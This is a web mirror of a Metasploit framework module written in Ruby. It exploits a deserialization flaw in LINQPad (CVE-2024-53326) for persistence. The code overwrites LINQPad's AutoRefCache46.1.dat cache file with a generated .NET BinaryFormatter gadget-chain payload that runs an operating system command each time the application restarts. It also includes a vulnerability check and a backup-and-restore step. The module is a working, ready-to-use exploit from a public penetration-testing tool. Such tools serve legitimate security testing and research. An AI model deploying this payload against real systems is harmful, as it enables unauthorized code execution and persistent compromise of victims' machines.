Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/linqpad_deserialization.rb
32323 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
8
9
# includes file?, directory?
10
include Msf::Post::File
11
include Msf::Exploit::Local::Persistence
12
13
# includes generate
14
include Msf::Util::DotNetDeserialization
15
prepend Msf::Exploit::Remote::AutoCheck
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'LINQPad Deserialization',
22
'Description' => %q{
23
This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'msutovsky-r7 <[email protected]>',
28
'James Williams' # original research
29
],
30
'Platform' => 'win',
31
'SessionTypes' => [ 'shell', 'meterpreter' ],
32
'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]],
33
'Privileged' => true,
34
'References' => [
35
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
36
[ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'],
37
[ 'CVE', '2024-53326']
38
],
39
'DisclosureDate' => '2024-12-03',
40
'DefaultTarget' => 0,
41
'Notes' => {
42
'Stability' => [CRASH_SAFE],
43
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
44
'SideEffects' => [ARTIFACTS_ON_DISK]
45
}
46
)
47
)
48
register_options([
49
OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']),
50
])
51
end
52
53
# Simplify pulling the writable directory variable
54
55
def check
56
if !directory?(datastore['Cache_path'])
57
return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')
58
elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
59
return Exploit::CheckCode::Unknown('Cannot find cache file')
60
elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat')
61
return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')
62
else
63
return Exploit::CheckCode::Appears('LINQPad and vulnerable cache file present, target possibly exploitable')
64
end
65
end
66
67
def install_persistence
68
# generate payload
69
vprint_status('Create deserialization payload')
70
71
dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(
72
payload.encoded, # this is the Operating System command to run
73
gadget_chain: :TextFormattingRunProperties,
74
formatter: :BinaryFormatter
75
)
76
vprint_status('Saving the original content')
77
cached_file_content = read_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat')
78
backup_conf_path = store_loot(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', 'text/plain', session, cached_file_content, 'AutoRefCached46.1.dat', 'autorefcache46.1.dat backup')
79
vprint_status("Saved at: #{backup_conf_path}")
80
81
@clean_up_rc << "upload #{backup_conf_path} #{datastore['CACHE_PATH']}/AutoRefCache46.1.dat"
82
83
vprint_status('Overwriting file')
84
# try to overwrite cache file
85
fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload)
86
end
87
end
88
89